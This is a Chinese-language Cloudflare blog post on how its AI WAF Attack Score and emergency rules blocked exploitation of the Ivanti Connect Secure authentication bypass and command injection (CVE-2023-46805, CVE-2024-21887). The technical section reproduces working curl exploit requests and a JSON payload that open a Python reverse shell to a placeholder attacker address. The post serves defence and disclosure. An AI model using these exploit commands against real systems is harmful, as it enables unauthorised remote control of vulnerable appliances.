訂閱以接收新文章的通知:

Cloudflare 的 AI WAF 如何主動偵測到 Ivanti Connect Secure 關鍵 zero-day 漏洞

2024/01/23

閱讀時間:8 分鐘

大多數 WAF 提供者依賴反應式方法,在漏洞被發現和利用後對其做出回應。然而,我們主張主動應對潛在風險,並利用 AI 來實現這一目標。今天,我們將分享一個最近的嚴重漏洞範例(CVE-2023-46805 和 CVE-2024-21887),以及由 AI 提供支援的 Cloudflare Attack Score 以及 WAF 中的緊急規則如何應對這一威脅。

威脅:CVE-2023-46805 和 CVE-2024-21887

AttackerKB 最近揭露並分析了影響 Ivanti 產品的驗證繞過 (CVE-2023-46805) 和命令資料隱碼漏洞 (CVE-2024-21887)。此漏洞會帶來重大風險,可能導致對受影響系統進行未經授權的存取和控制。在下一節中,我們將討論此漏洞的利用情況。

技術分析

正如 AttackerKB 中所討論的,攻擊者可以使用如下命令向目標系統傳送特製請求:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

此命令針對通常受驗證保護的端點 (/license/keys-status/)。但是,攻擊者可以透過操縱 URL 以包含 /api/v1/totp/user-backup-code/../../license/keys-status/ 來繞過驗證。這種技術稱為目錄周遊

命令的 URL 編碼部分解碼為 Python 反向 shell,如下所示:

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

Python 反向 shell 是攻擊者獲得對目標系統控制權的一種方法。

該漏洞存在於系統處理 node_name 參數的方式中。如果攻擊者可以控制 node_name 的值,他們就可以向系統注入命令。

詳細說明「node_name」:「node_name」參數是端點 /api/v1/license/keys-status/path:node_name 的組成部分。該端點是問題主要發生的地方。

攻擊者可以向 URI 路徑 /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; 傳送 GET 請求,其中 CMD 是他們希望執行的任何命令。透過使用分號,他們可以在請求中指定此命令。為了確保系統正確處理命令,必須對其進行 URL 編碼。

還發現了另一個程式碼插入漏洞,AttackerKB 的部落格文章對此進行了詳細介紹。該漏洞涉及在系統的另一部分發現的經過驗證的命令資料隱碼。

這裡可以使用第一個命令資料隱碼中使用的相同 Python 反向 shell 負載,形成一個 JSON 結構來觸發漏洞。由於該負載是 JSON 格式,因此無需對 URL 進行編碼:

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

儘管 /api/v1/system/maintenance/archiving/cloud-server-test-connection 端點需要驗證,但攻擊者可以透過將其與前面提到的目錄周遊漏洞鏈接來繞過此驗證。他們可以構造未經驗證的 URI 路徑 /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection 來到達此端點並利用該漏洞。

要執行未經驗證的作業系統命令,攻擊者會使用類似這樣的 curl 請求:

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

Cloudflare 的主動防禦

Cloudflare WAF 由一個名為 WAF Attack Score 的附加 AI 層提供支援,該層的構建目的是在攻擊繞過之前就將其捕獲,甚至是在其被公開之前。Attack Score 提供一個分數來表明請求是否惡意;到目前為止,重點關注三個主要類別:XSS、SQLi 和一些 RCE 變體(命令資料隱碼、ApacheLog4J 等)。分數範圍為 1 到 99,分數越低,請求越惡意。一般來說,任何低於 20 分的請求都被視為惡意請求。

使用 Cloudflare 的儀表板(安全性 > 事件)查看上述 CVE-2023-46805 和 CVE-2024-21887 的利用範例的結果。Attack Score 分析結果由三個單獨的分數組成,每個分數都用於表明它們與特定攻擊類別的相關性。還有一個全域分數「WAF Attack Score」,其考慮了這三個分數的綜合影響。在某些情況下,如果攻擊與某個類別匹配,則全域分數會受到其中一個子分數的影響,在這裡我們可以看到占主導地位的子分數是遠端程式碼執行「WAF RCE Attack Score」。

同樣,對於未經驗證的作業系統命令請求,我們從 AI 模型中收到「WAF attack Score:19」,這也屬於惡意請求類別。值得一提的是,範例分數不是固定數字,可能會根據傳入攻擊的變化而變化。

好消息是:啟用了 WAF Attack Score 的企業方案和商業方案客戶,以及具有低分封鎖規則(例如 cf.waf.score le 20)或(cf.waf.score.class eq "attack")的商業方案客戶,已經免受潛在漏洞利用的影響,這種能力甚至在漏洞公佈之前就已進行過測試。

緊急規則部署

為應對這一嚴重漏洞,Cloudflare 於 2024 年 1 月 17 日(概念驗證公開後 24 小時內)發佈了緊急規則。這些規則是其 WAF 受管理規則的一部分,專門針對 CVE-2023-46805 和另一個也與 Ivanti 產品相關的漏洞 CVE-2024-21887 造成的威脅。這些名為「Ivanti - 驗證繞過、命令資料隱碼 - CVE:CVE-2023-46805、CVE:CVE-2024-21887」的規則旨在封鎖利用這些漏洞的嘗試,為 Cloudflare 使用者提供額外的安全層。

自從我們部署這些規則以來,我們記錄了高水準的活動。截至撰寫本文時,該規則已被觸發超過 180,000 次。

規則 ID 描述 預設動作
新受管理規則…34ab53c5 Ivanti - 驗證繞過、命令資料隱碼 - CVE:CVE-2023-46805、CVE:CVE-2024-21887 封鎖
舊版受管理規則
100622
Ivanti - 驗證繞過、命令資料隱碼 - CVE:CVE-2023-46805、CVE:CVE-2024-21887 封鎖

影響與最佳做法

Cloudflare 對 CVE-2023-46805 和 CVE-2024-21887 的回應,表明了採取強有力安全措施的重要性。建議使用 Cloudflare 服務(尤其是 WAF)的組織確保其系統更新為使用最新的規則和設定,以維持最佳保護。我們還建議客戶使用 Attack Score 來部署規則,以改善其安全狀態。如果您想瞭解有關 Attack Score 的更多資訊,請聯絡您的客戶團隊。

結論

Cloudflare 使用 AI 識別和阻止攻擊的主動網路安全方法(其對 CVE-2023-46805 和 CVE-2024-21887 的回應就是例證)強調了如何在威脅和攻擊公開並披露漏洞之前對其進行識別。Cloudflare 透過持續監控和快速回應漏洞,確保其客戶在日益複雜的數位環境中保持安全。

我們保護整個企業網路,協助客戶有效地建置網際網路規模的應用程式,加速任何網站或網際網路應用程式抵禦 DDoS 攻擊,阻止駭客入侵,並且可以協助您實現 Zero Trust

從任何裝置造訪 1.1.1.1,即可開始使用我們的免費應用程式,讓您的網際網路更快速、更安全。

若要進一步瞭解我們協助打造更好的網際網路的使命,請從這裡開始。如果您正在尋找新的職業方向,請查看我們的職缺
Vulnerabilities (TW)WAF Rules (TW)WAF (TW)WAF Attack Score (TW)Zero Day Threats (TW)AI WAF (TW)繁體中文

在 X 上進行關注

Himanshu Anand|@anand_himanshu
Radwa Radwan|@RadwaRadwan__
Cloudflare|@cloudflare

相關貼文

2024年3月14日 下午12:30

在我們的 AI 產品中緩解權杖長度旁路攻擊

最近,Workers AI 和 AI Gateway 團隊與本·古里安大學的網路安全研究人員就我們「公開漏洞懸賞」活動中收到的一份報告展開了密切合作。透過此程序,我們發現並完全修補了一個影響所有 LLM 提供者的漏洞。下面是具體情況...